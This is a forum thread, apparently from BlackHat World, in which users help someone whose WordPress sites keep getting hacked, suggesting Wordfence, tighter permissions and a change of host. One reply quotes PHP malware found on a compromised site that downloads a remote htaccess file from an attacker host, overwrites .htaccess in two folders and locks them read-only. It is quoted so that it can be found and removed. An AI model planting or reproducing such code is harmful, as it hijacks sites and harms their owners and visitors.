Wordpress sites keep getting hacked

BHW-News · May 17, 2017

Might be obvious but have you checked your folder and file permissions? There's lots of variations of hacks that do something similar to one you're describing but if your wp-admin folder isn't restricting write access to anything but the owner process, it's fairly easy to upload or change files that'll keep making changes to the db.

Innovatorz said:
Seen this before. You can use WordFence for starters. For cleaning ht access file, please hit me up on PM.

I do hope you aren't offering your paid services to clean up the htaccess file. Because that would be against the rules and kind of a dick move.

If you've got suggestions, post them here rather than trying to take it offline please.

Ninah · May 17, 2017

Oh and I forgot to mention about properly Wordfence setting. Here is a very useful post about it: http://makeaweblog.com/configuring-wordfence-security/ This post also might be helpful: https://hostingfacts.com/how-to-secure-wordpress/. I have this two posts in my bookmarks just in case

Web Echo · May 17, 2017

You have lot of code that you may need to remove. Example:

Code:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$adddr/doorgen2/htaccess.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
$result = curl_exec($ch);
curl_close($ch);
$z = fopen("$dirname/.htaccess", "w");
fwrite($z, $result);
fclose($z);
$z = fopen("$dirname2/.htaccess", "w");
fwrite($z, $result);
fclose($z);

chmod("$dirname/.htaccess", 0444);
chmod("$dirname2/.htaccess", 0444);

Innovatorz · May 22, 2017

Apricot said:
Might be obvious but have you checked your folder and file permissions? There's lots of variations of hacks that do something similar to one you're describing but if your wp-admin folder isn't restricting write access to anything but the owner process, it's fairly easy to upload or change files that'll keep making changes to the db.

I do hope you aren't offering your paid services to clean up the htaccess file. Because that would be against the rules and kind of a dick move.

If you've got suggestions, post them here rather than trying to take it offline please.

Nope, I wasn't. I didn't take it offline, just told the OP to message me, because I wouldn't want personal data shared (publicly), had it been my site, which was hacked.

wpsoul · May 22, 2017

it's possible that your hosting was hacked and you got backdoor. it's much harder to find place which was hacked if it's hosting hole. In most cases, it's much easier to change hosting (but also to reinstall all plugins, themes, wordpress files and maybe you need to check your content for strange code (wordfence is good for this)

Wordpress sites keep getting hacked

BHW-News

Super Moderator

Ninah

BANNED

Web Echo

Regular Member

Innovatorz

Regular Member

wpsoul

Junior Member

Main Menu

Marketplace

Making Money

BlackHat World